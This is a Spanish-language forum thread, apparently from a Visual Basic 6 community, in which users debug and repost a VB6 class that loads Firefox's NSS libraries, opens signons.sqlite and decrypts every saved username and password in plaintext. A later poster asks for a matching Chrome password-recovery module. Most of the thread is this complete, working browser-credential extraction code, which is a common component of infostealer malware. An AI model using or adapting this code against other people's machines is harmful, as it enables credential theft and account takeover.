COBEIN lee esto por favor...

[79137913]

HOLA!!!

Estoy usando tu ejemplo para "descifrar passwords de FF"
Lo adapte para que funcionara con las nuevas versiones...

Quisiera que me digas si podes, por que el codigo que arme en enumerate solo me descifra el primer Parametro que le paso (el user encriptado que esta en lStatement(x,6)) y luego me repite el resultado siempre .

Por que puede ser?

P.d: por cierto, lStatement es una matriz donde esta toda la BD de sqlite.

Código: (VB) [Seleccionar]

'---------------------------------------------------------------------------------------
' Module      : cFFPD
' DateTime    : 25/07/2009 05:28
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advancevb.com.ar
' Purpose     : Decrypt firefox 3.5.x passwords
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Reference   : abhe example as reference, original one based on Aphex and CDECL from Paul Caton
'
' History     : 25/07/2009 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Base 0

Private Const CSIDL_PROGRAM_FILES   As Long = &H26
Private Const CSIDL_APPDATA         As Long = &H1A

Private Type SHITEMID
    cb              As Long
    abID            As Byte
End Type

Private Type TSECItem
    SECItemType     As Long
    SECItemData     As Long
    SECItemLen      As Long
End Type

'API declarations
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As SHITEMID) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function GetLastError Lib "kernel32" () As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFree Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
Private Declare Sub PutMem1 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Byte)
Private Declare Sub PutMem2 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Integer)
Private Declare Sub PutMem4 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Long)
Private Declare Sub PutMem8 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Currency)
Private Declare Function LoadLibrary Lib "kernel32" (ByVal lpFileName As String) As Integer

'// SQL Lite dll declarations:
Private Declare Sub sqlite3_open Lib "SQLite3VB.dll" (ByVal Filename As String, ByRef handle As Long)
Private Declare Sub sqlite3_close Lib "SQLite3VB.dll" (ByVal DB_Handle As Long)
Private Declare Function sqlite3_last_insert_rowid Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
Private Declare Function sqlite3_changes Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
Private Declare Function sqlite_get_table Lib "SQLite3VB.dll" (ByVal DB_Handle As Long, ByVal SQLString As String, ByRef ErrStr As String) As Variant()
' sqlite_get_table Returns a 2 dimensional array including column headers
Private Declare Function sqlite_libversion Lib "SQLite3VB.dll" () As String ' Now returns a BSTR
Private Declare Function number_of_rows_from_last_call Lib "SQLite3VB.dll" () As Long
' number_of_rows_from_last_call returns the number of rows from the last sql statement. Use this to ensure you have a valid array

'Private constants
Private Const ERR_SRC       As String = "cCDECL"    'Error source name
Private Const ERR_NUM       As Long = vbObjectError 'cCDECL error number base
Private Const MAX_ARG       As Long = 16            'Maximum number of parameters, you can change this if required
Private Const PATCH_01      As Long = 15            'CDECL patch, CDECL function address
Private Const PATCH_02      As Long = 10            'Callback patch, bas mod function address patch
Private Const PATCH_03      As Long = 16            'Callback patch, stack adjustment patch
'Parameter block
Private Type tParamBlock
  ParamCount                As Long                 'Number of parameters to be forwarded to the cdecl function
  Params(0 To MAX_ARG - 1)  As Long                 'Array of parameters to be forwarded to the cdecl function
End Type

'Private variables
Private bNewDLL             As Boolean              'Flag to indicate that the loaded DLL has changed
Private hMod                As Long                 'DLL module handle
Private nAddr               As Long                 'Cache the previous cdecl function's address
Private pCode               As Long                 'Pointer to the CDECL code
Private sLastFunc           As String               'Cache the previous cdecl function's name
Private pb                  As tParamBlock          'Parameter block instance

'Replace the stub proc (z_DO_NOT_CALL) with machine-code to handle the cdecl function
Private Sub Class_Initialize()
    Dim pMe As Long
 
    'Get the address of my vtable into pMe
    GetMem4 ObjPtr(Me), pMe

    'Allocate a page of executable memory
    pCode = VirtualAlloc(0, &H1000&, &H1000&, &H40&)
 
    'Copy the CDECL translation code to memory
    PutMem8 pCode + 0, -208642111809017.9757@
    PutMem8 pCode + 8, -605931634821031.5515@
    PutMem8 pCode + 16, 20765931315670.1386@
    PutMem8 pCode + 24, -857143604525899.4687@
    PutMem4 pCode + 32, &HC2C03102
    PutMem2 pCode + 36, &HC

    'Patch the first vtable entry (z_DO_NOT_CALL) to point to the CDECL code
    PutMem4 pMe + &H1C, pCode
 
    'Copy the callback thunk code to memory
    PutMem8 pCode + 40, 479615108421936.7656@
    PutMem8 pCode + 48, -140483859888551.3191@
    PutMem8 pCode + 56, 99649511.6971@
    PutMem8 pCode + 64, 21442817159.0144@
End Sub

Private Sub Class_Terminate()
    'Free virtual memory
    Call FreeLibrary(hMod)
    VirtualFree pCode, 0, &H8000&
End Sub

'This sub is replaced by machine code at pCode at class instance creation...
'IT MUST ONLY be called internally by CallFunc.
Public Function z_DO_NOT_CALL(ByVal nAddrParamBlock As Long) As Long
End Function

Public Function Enumerate() As String
    Dim sPath       As String
    Dim sFFPath     As String
    Dim lKeySlot     As Long
    Dim lvLibs(20)   As Long
    Dim sRet        As String
   
    Dim tSec        As TSECItem
    Dim tSecDec     As TSECItem
    Dim bvRet()     As Byte
   
    'Dim sPass       As String
    'Dim svEntry()   As String
    'Dim svLines()   As String
    Dim i           As Long
    'Dim j           As Long
   
   
    Dim lDB As Long
    Dim lStatement() As Variant ' As Long

    Dim sText As String
   
    On Error Resume Next
   
    sPath = App.Path & "\" 'Environ("PROGRAMFILES") & "\Mozilla Firefox\"

    lvLibs(0) = LoadLibraryA(sPath & "AccessibleMarshal.dll")
    lvLibs(1) = LoadLibraryA(sPath & "D3DCompiler_43.dll")
    lvLibs(2) = LoadLibraryA(sPath & "freebl3.dll")
    lvLibs(3) = LoadLibraryA(sPath & "gkmedias.dll")
    lvLibs(4) = LoadLibraryA(sPath & "libEGL.dll")
    lvLibs(5) = LoadLibraryA(sPath & "libGLESv2.dll")
    lvLibs(6) = LoadLibraryA(sPath & "mozalloc.dll")
    lvLibs(7) = LoadLibraryA(sPath & "mozglue.dll")
    lvLibs(8) = LoadLibraryA(sPath & "mozjs.dll")
    lvLibs(9) = LoadLibraryA(sPath & "msvcp100.dll")
    lvLibs(10) = LoadLibraryA(sPath & "msvcr100.dll")
    lvLibs(11) = LoadLibraryA(sPath & "nss3.dll")
    lvLibs(12) = LoadLibraryA(sPath & "nssckbi.dll")
    lvLibs(13) = LoadLibraryA(sPath & "nssdbm3.dll")
    lvLibs(14) = LoadLibraryA(sPath & "softokn3.dll")
    Call DllLoad(sPath & "nss3.dll")

    sFFPath = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & "profiles.ini"
       
    sRet = Space(260)
    Call GetPrivateProfileString("Profile0", "Path", vbNullString, sRet, 260, sFFPath)
    sRet = Left$(sRet, lstrlen(sRet))

    Dim DBHANDLE As Long
    Call sqlite3_open(GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet & "\signons.sqlite", DBHANDLE)
    lStatement = sqlite_get_table(DBHANDLE, "SELECT * FROM moz_logins", "Error")

    sRet = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet

    bvRet = StrConv(sRet, vbFromUnicode)
    nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
    If nssinit <> 0 Then nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
    If nssinit = 0 Then
        lKeySlot = CallFunc("PK11_GetInternalKeySlot")
        If Not lKeySlot = 0 Then
            If CallFunc("PK11_Authenticate", lKeySlot, True, 0) = 0 Then
               
                For x = 1 To UBound(lStatement)
                   
                    Enumerate = Enumerate & " " & "URL: " & lStatement(x, 1) & vbCrLf
                   
                    sText = lStatement(x, 6)
                    bvRet = StrConv(sText, vbFromUnicode)
                    Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
                    Debug.Print StrConv(tSec.SECItemData, vbUnicode)
                    If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
                        If tSecDec.SECItemLen > 0 Then
                            ReDim bvRet(tSecDec.SECItemLen - 1)
                            CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
                            Enumerate = Enumerate & " " & "USER: " & StrConv(bvRet, vbUnicode) & vbCrLf
                        End If
                    End If
                    ReDim bvRet(0)
                    sText = lStatement(x, 7)
                    bvRet = StrConv(sText, vbFromUnicode)
                    Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))

                    If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
                        If tSecDec.SECItemLen > 0 Then
                            ReDim bvRet(tSecDec.SECItemLen - 1)
                            CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
                            Enumerate = Enumerate & " " & "PASS: " & StrConv(bvRet, vbUnicode) & vbCrLf
                        End If
                    End If
                   
                Next
               
            End If
            Call CallFunc("PK11_FreeSlot", lKeySlot)
        End If
        Call CallFunc("NSS_Shutdown")
    End If
    For i = 0 To 14
        Call FreeLibrary(lvLibs(0))
    Next
   
    'mSqlite.sqlite3_close (lDB)
    'mSqlite.sqlite3_terminate
End Function

Private Function GetSpecialfolder(ByVal lFolder As Long) As String
    Dim tSHITEMID As SHITEMID

    If SHGetSpecialFolderLocation(0, lFolder, tSHITEMID) = 0 Then
        GetSpecialfolder = Space$(512)
        Call SHGetPathFromIDList(ByVal tSHITEMID.cb, ByVal GetSpecialfolder)
        GetSpecialfolder = Left$(GetSpecialfolder, lstrlen(GetSpecialfolder))
    End If
End Function


'Purpose:
' Call the named cdecl function with the passed parameters
'
'Arguments:
' sFunction - Name of the cdecl function to call
' ParmLongs - ParamArray of parameters to pass to the named cdecl function
'
'Return:
'  The return value of the named cdecl function
Public Function CallFunc(ByVal sFunction As String, ParamArray ParmLongs() As Variant) As Long
    Dim i As Long
    Dim j As Long
 
    'Check that the DLL is loaded
    If hMod = 0 Then
   
        'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
        Debug.Assert False
        Call Err.Raise(ERR_NUM + 0, ERR_SRC, "DLL not loaded")
    End If

    'Check to see if we're calling the same cdecl function as the previous call to CallFunc
    If (StrComp(sLastFunc, sFunction) <> 0) Or bNewDLL Then
   
        'Get the address of the function
        nAddr = GetProcAddress(hMod, sFunction)
        If nAddr = 0 Then
     
            'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
            Debug.Assert False
            Call Err.Raise(ERR_NUM + 1, ERR_SRC, "Failed to locate function: " & sFunction)
        End If

        'Patch the code buffer to call the relative address to the cdecl function
        PutMem4 pCode + PATCH_01, nAddr - pCode - (PATCH_01 + 4)
        bNewDLL = False
        sLastFunc = sFunction
    End If
 
    With pb
        j = UBound(ParmLongs)
        If j >= MAX_ARG Then
     
            'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
            Debug.Assert False
            Call Err.Raise(ERR_NUM + 2, ERR_SRC, "Too many parameters")
        End If
   
        'Fill the parameter block
        For i = 0 To j
            .Params(i) = ParmLongs(i)
        Next i
   
        .ParamCount = i                                         '(j + 1)
    End With
 
    CallFunc = z_DO_NOT_CALL(VarPtr(pb))                      'Execute the code buffer passing the address of the parameter block

End Function

'Load the DLL
Public Function DllLoad(ByVal sName As String) As Boolean
    hMod = LoadLibraryA(sName)
   

    If hMod <> 0 Then
        DllLoad = True
        'It's remotely possible that the programmer could change the dll and then call a function
        'in the new dll with exactly the same name as the previous CallFunc to the previous DLL. This would
        'defeat the caching scheme and result in the old function in the old dll being called. An unlikely
        'scenario, but stranger things have happened. Soooo, explicitly indicate that we're using a new dll
        bNewDLL = True
    End If
 
    'If in the IDE just stop on failure, programmer may not be checking the return value.
    Debug.Assert DllLoad
End Function
GRACIAS POR LEER!!!

[LeandroA]

Hola que chivo che, estuve tratando de debugearlo y por lo que vi la funcion NSSBase64_DecodeBuffer solo funcionaba una vez y despues de un buen rato di con el motivo

el problema son con los tipos TSECItem, estos antes de ser pasados como parametros deben estar limpios osea sin data, el motivo de que mostraba siempre lo mismo es porque dentro de el bucle quedaba el primer dato.

Código: (vb) [Seleccionar]

'---------------------------------------------------------------------------------------
' Module      : cFFPD
' DateTime    : 25/07/2009 05:28
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advancevb.com.ar
' Purpose     : Decrypt firefox 3.5.x passwords
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Reference   : abhe example as reference, original one based on Aphex and CDECL from Paul Caton
'
' History     : 25/07/2009 First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit
Option Base 0
 
Private Const CSIDL_PROGRAM_FILES   As Long = &H26
Private Const CSIDL_APPDATA         As Long = &H1A
 
Private Type SHITEMID
    cb              As Long
    abID            As Byte
End Type
 
Private Type TSECItem
    SECItemType     As Long
    SECItemData     As Long
    SECItemLen      As Long
End Type
 
'API declarations
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As SHITEMID) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function GetLastError Lib "kernel32" () As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFree Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
Private Declare Sub PutMem1 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Byte)
Private Declare Sub PutMem2 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Integer)
Private Declare Sub PutMem4 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Long)
Private Declare Sub PutMem8 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Currency)
Private Declare Function LoadLibrary Lib "kernel32" (ByVal lpFileName As String) As Integer
 
'// SQL Lite dll declarations:
Private Declare Sub sqlite3_open Lib "SQLite3VB.dll" (ByVal Filename As String, ByRef handle As Long)
Private Declare Sub sqlite3_close Lib "SQLite3VB.dll" (ByVal DB_Handle As Long)
Private Declare Function sqlite3_last_insert_rowid Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
Private Declare Function sqlite3_changes Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
Private Declare Function sqlite_get_table Lib "SQLite3VB.dll" (ByVal DB_Handle As Long, ByVal SQLString As String, ByRef ErrStr As String) As Variant()
' sqlite_get_table Returns a 2 dimensional array including column headers
Private Declare Function sqlite_libversion Lib "SQLite3VB.dll" () As String ' Now returns a BSTR
Private Declare Function number_of_rows_from_last_call Lib "SQLite3VB.dll" () As Long
' number_of_rows_from_last_call returns the number of rows from the last sql statement. Use this to ensure you have a valid array
 
'Private constants
Private Const ERR_SRC       As String = "cCDECL"    'Error source name
Private Const ERR_NUM       As Long = vbObjectError 'cCDECL error number base
Private Const MAX_ARG       As Long = 16            'Maximum number of parameters, you can change this if required
Private Const PATCH_01      As Long = 15            'CDECL patch, CDECL function address
Private Const PATCH_02      As Long = 10            'Callback patch, bas mod function address patch
Private Const PATCH_03      As Long = 16            'Callback patch, stack adjustment patch
'Parameter block
Private Type tParamBlock
  ParamCount                As Long                 'Number of parameters to be forwarded to the cdecl function
  Params(0 To MAX_ARG - 1)  As Long                 'Array of parameters to be forwarded to the cdecl function
End Type
 
'Private variables
Private bNewDLL             As Boolean              'Flag to indicate that the loaded DLL has changed
Private hMod                As Long                 'DLL module handle
Private nAddr               As Long                 'Cache the previous cdecl function's address
Private pCode               As Long                 'Pointer to the CDECL code
Private sLastFunc           As String               'Cache the previous cdecl function's name
Private pb                  As tParamBlock          'Parameter block instance
 
'Replace the stub proc (z_DO_NOT_CALL) with machine-code to handle the cdecl function
Private Sub Class_Initialize()
    Dim pMe As Long
 
    'Get the address of my vtable into pMe
    GetMem4 ObjPtr(Me), pMe
 
    'Allocate a page of executable memory
    pCode = VirtualAlloc(0, &H1000&, &H1000&, &H40&)
 
    'Copy the CDECL translation code to memory
    PutMem8 pCode + 0, -208642111809017.9757@
    PutMem8 pCode + 8, -605931634821031.5515@
    PutMem8 pCode + 16, 20765931315670.1386@
    PutMem8 pCode + 24, -857143604525899.4687@
    PutMem4 pCode + 32, &HC2C03102
    PutMem2 pCode + 36, &HC
 
    'Patch the first vtable entry (z_DO_NOT_CALL) to point to the CDECL code
    PutMem4 pMe + &H1C, pCode
 
    'Copy the callback thunk code to memory
    PutMem8 pCode + 40, 479615108421936.7656@
    PutMem8 pCode + 48, -140483859888551.3191@
    PutMem8 pCode + 56, 99649511.6971@
    PutMem8 pCode + 64, 21442817159.0144@
End Sub
 
Private Sub Class_Terminate()
    'Free virtual memory
    Call FreeLibrary(hMod)
    VirtualFree pCode, 0, &H8000&
End Sub
 
'This sub is replaced by machine code at pCode at class instance creation...
'IT MUST ONLY be called internally by CallFunc.
Public Function z_DO_NOT_CALL(ByVal nAddrParamBlock As Long) As Long
End Function
 
Public Function Enumerate() As String
    Dim sPath       As String
    Dim sFFPath     As String
    Dim lKeySlot     As Long
    Dim lvLibs(20)   As Long
    Dim sRet        As String
   
    Dim tSec        As TSECItem
    Dim tSecDec     As TSECItem
    Dim bvRet()     As Byte
    Dim x           As Long
    Dim nssinit     As Long
   
    'Dim sPass       As String
    'Dim svEntry()   As String
    'Dim svLines()   As String
    Dim i           As Long
    'Dim j           As Long
   
   
    Dim lDB As Long
    Dim lStatement() As Variant ' As Long
 
    Dim sText As String
   
    On Error Resume Next
   
    sPath = Environ("PROGRAMFILES") & "\Mozilla Firefox\"
 
    lvLibs(0) = LoadLibraryA(sPath & "AccessibleMarshal.dll")
    lvLibs(1) = LoadLibraryA(sPath & "D3DCompiler_43.dll")
    lvLibs(2) = LoadLibraryA(sPath & "freebl3.dll")
    lvLibs(3) = LoadLibraryA(sPath & "gkmedias.dll")
    lvLibs(4) = LoadLibraryA(sPath & "libEGL.dll")
    lvLibs(5) = LoadLibraryA(sPath & "libGLESv2.dll")
    lvLibs(6) = LoadLibraryA(sPath & "mozalloc.dll")
    lvLibs(7) = LoadLibraryA(sPath & "mozglue.dll")
    lvLibs(8) = LoadLibraryA(sPath & "mozjs.dll")
    lvLibs(9) = LoadLibraryA(sPath & "msvcp100.dll")
    lvLibs(10) = LoadLibraryA(sPath & "msvcr100.dll")
    lvLibs(11) = LoadLibraryA(sPath & "nss3.dll")
    lvLibs(12) = LoadLibraryA(sPath & "nssckbi.dll")
    lvLibs(13) = LoadLibraryA(sPath & "nssdbm3.dll")
    lvLibs(14) = LoadLibraryA(sPath & "softokn3.dll")
    Call DllLoad(sPath & "nss3.dll")
 
    sFFPath = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & "profiles.ini"
       
    sRet = Space(260)
    Call GetPrivateProfileString("Profile0", "Path", vbNullString, sRet, 260, sFFPath)
    sRet = Left$(sRet, lstrlen(sRet))
 
    Dim DBHANDLE As Long
    Call sqlite3_open(GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet & "\signons.sqlite", DBHANDLE)
    lStatement = sqlite_get_table(DBHANDLE, "SELECT * FROM moz_logins", "Error")
 
    sRet = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet
 
    bvRet = StrConv(sRet, vbFromUnicode)
    nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
    If nssinit <> 0 Then nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
    If nssinit = 0 Then
        lKeySlot = CallFunc("PK11_GetInternalKeySlot")
        If Not lKeySlot = 0 Then
            If CallFunc("PK11_Authenticate", lKeySlot, True, 0) = 0 Then
               
                For x = 1 To UBound(lStatement)
                   
                    Enumerate = Enumerate & " " & "URL: " & lStatement(x, 1) & vbCrLf
                   
                    sText = lStatement(x, 6)
                    bvRet = StrConv(sText, vbFromUnicode)
                    tSec.SECItemData = 0
                    tSec.SECItemLen = 0
                    Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
                    tSecDec.SECItemData = 0
                    tSecDec.SECItemLen = 0
                    If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
                        If tSecDec.SECItemLen > 0 Then
                            ReDim bvRet(tSecDec.SECItemLen - 1)
                            CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
                            Enumerate = Enumerate & " " & "USER: " & StrConv(bvRet, vbUnicode) & vbCrLf
                        End If
                    End If

                    sText = lStatement(x, 7)
                    bvRet = StrConv(sText, vbFromUnicode)
                    tSec.SECItemData = 0
                    tSec.SECItemLen = 0
                    Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
                    tSecDec.SECItemData = 0
                    tSecDec.SECItemLen = 0
                    If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
                        If tSecDec.SECItemLen > 0 Then
                            ReDim bvRet(tSecDec.SECItemLen - 1)
                            CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
                            Enumerate = Enumerate & " " & "PASS: " & StrConv(bvRet, vbUnicode) & vbCrLf
                        End If
                    End If
                   
                Next
               
            End If
            Call CallFunc("PK11_FreeSlot", lKeySlot)
        End If
        Call CallFunc("NSS_Shutdown")
    End If
    For i = 0 To 14
        Call FreeLibrary(lvLibs(0))
    Next
   
    'mSqlite.sqlite3_close (lDB)
    'mSqlite.sqlite3_terminate
End Function
 
Private Function GetSpecialfolder(ByVal lFolder As Long) As String
    Dim tSHITEMID As SHITEMID
 
    If SHGetSpecialFolderLocation(0, lFolder, tSHITEMID) = 0 Then
        GetSpecialfolder = Space$(512)
        Call SHGetPathFromIDList(ByVal tSHITEMID.cb, ByVal GetSpecialfolder)
        GetSpecialfolder = Left$(GetSpecialfolder, lstrlen(GetSpecialfolder))
    End If
End Function
 
 
'Purpose:
' Call the named cdecl function with the passed parameters
'
'Arguments:
' sFunction - Name of the cdecl function to call
' ParmLongs - ParamArray of parameters to pass to the named cdecl function
'
'Return:
'  The return value of the named cdecl function
Public Function CallFunc(ByVal sFunction As String, ParamArray ParmLongs() As Variant) As Long
    Dim i As Long
    Dim j As Long
 
    'Check that the DLL is loaded
    If hMod = 0 Then
   
        'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
        Debug.Assert False
        Call Err.Raise(ERR_NUM + 0, ERR_SRC, "DLL not loaded")
    End If
 
    'Check to see if we're calling the same cdecl function as the previous call to CallFunc
    If (StrComp(sLastFunc, sFunction) <> 0) Or bNewDLL Then
   
        'Get the address of the function
        nAddr = GetProcAddress(hMod, sFunction)
        If nAddr = 0 Then
     
            'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
            Debug.Assert False
            Call Err.Raise(ERR_NUM + 1, ERR_SRC, "Failed to locate function: " & sFunction)
        End If
 
        'Patch the code buffer to call the relative address to the cdecl function
        PutMem4 pCode + PATCH_01, nAddr - pCode - (PATCH_01 + 4)
        bNewDLL = False
        sLastFunc = sFunction
    End If
 
    With pb
        j = UBound(ParmLongs)
        If j >= MAX_ARG Then
     
            'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
            Debug.Assert False
            Call Err.Raise(ERR_NUM + 2, ERR_SRC, "Too many parameters")
        End If
   
        'Fill the parameter block
        For i = 0 To j
            .Params(i) = ParmLongs(i)
        Next i
   
        .ParamCount = i                                         '(j + 1)
    End With
 
    CallFunc = z_DO_NOT_CALL(VarPtr(pb))                      'Execute the code buffer passing the address of the parameter block
 
End Function
 
'Load the DLL
Public Function DllLoad(ByVal sName As String) As Boolean
    hMod = LoadLibraryA(sName)
   
 
    If hMod <> 0 Then
        DllLoad = True
        'It's remotely possible that the programmer could change the dll and then call a function
        'in the new dll with exactly the same name as the previous CallFunc to the previous DLL. This would
        'defeat the caching scheme and result in the old function in the old dll being called. An unlikely
        'scenario, but stranger things have happened. Soooo, explicitly indicate that we're using a new dll
        bNewDLL = True
    End If
 
    'If in the IDE just stop on failure, programmer may not be checking the return value.
    Debug.Assert DllLoad
End Function

Saludos.

[79137913]

HOLA!!!

Lea, estoy muy agradecido muchisimas gracias, se me hacia raro que pasara eso, menos mal que estas para ayudar!

GENIO!

Menos mal que tuve tu ayuda !

Sigo dando vueltas por el foro

GRACIAS POR LEER!!!

[cobein]

Lei tarde, parece que esta resuelto

[79137913]

HOLA!!!

Cobein... aun necesito de tu ayuda, si estas disponible.

No puedo encontrar el ejemplo de Chrome que tenias en http://www.advancevb.com.ar/wp-content/2009/07/Chrome.rar (es el recovery de chrome) tendras algun backup o algo similar?

GRACIAS POR LEER!!!

[cobein]

Aca esta el backup de AdvanceVB , tendri a que estar ahi el code.

http://leandroascierto.com/foro/index.php?topic=1359.msg7570#msg7570

Cualquier cosa avisa.

[79137913]

HOLA!!!

no esta en el backup Chrome.rar

Que puedo hacer?

Consegui el rar de Indetectables cuando lo subiste, pero esta corrupto :/

http://www.mediafire.com/download/50wxs8gmwgxu17r/Chrome.rar

Te podrias fijar si tenes el codigo en algun lado?

Solo mChrome.bas, con eso ya me organizo para revivirlo

Detalle del backup:

Código: [Seleccionar]

code\AdvanceVB.url
code\copyfiles.zip
code\elevationtype.zip
code\filelist.zip
code\fixpalette.zip
code\layeredsplash.zip
code\plugin.rar
code\progbar.zip
code\RTBOF.rar
code\safecallptr.rar
code\shell_elevated.zip
code\simpledde.rar
code\superduper.rar
code\suspend.rar
code\systempassword.zip
code\ucdownload.zip
code\ucimagelist.rar
code\ucip.zip
code\virtualfile.zip
code\VM_Detect.zip
code\VM_mini.zip
code\storage\
code\Uploaded\
code\storage\0CFD33B9B4EEF780.jpg
code\storage\1.jpg
code\storage\2.jpg
code\storage\2545E70A8CEEE575.jpg
code\storage\3.jpg
code\storage\4.jpg
code\storage\9189321F7698F58D.jpg
code\storage\captures.rar
code\storage\CC4861EF5CF21BA2.jpg
code\storage\checksummer.rar
code\storage\cryptosy.rar
code\storage\disablewinkey.rar
code\storage\DLL.rar
code\storage\E2BA0458587C5484.jpg
code\storage\EC07663CE51054D2.jpg
code\storage\filehash.zip
code\storage\filestoclipboard.rar
code\storage\ftp.rar
code\storage\Install.rar
code\storage\Int2D.rar
code\storage\layeredsplash.rar
code\storage\mailme.rar
code\storage\mGetProcAddress.rar
code\storage\mPE_Realign.rar
code\storage\nccaption.rar
code\storage\noip.rar
code\storage\ntcompression.rar
code\storage\pluginsample.rar
code\storage\progbar.rar
code\storage\scale.rar
code\storage\sizerestriction.rar
code\storage\suspend.rar
code\storage\systempassword.zip
code\storage\thebug.rar
code\storage\timeddebug.rar
code\storage\ucDowload.rar
code\storage\usbdetection.rar
code\storage\VM.rar
code\storage\wincdkey.rar
code\storage\WLMPD.rar
code\Uploaded\ekm.jpg
code\Uploaded\ekm.rar
code\Uploaded\filehash.zip
code\Uploaded\melt.rar
code\Uploaded\ucip.jpg
code\Uploaded\ucIP.rar
Hecho con: ' Module      : cFileList
' DateTime    : 12/03/08 08:52
' Author      : Cobein
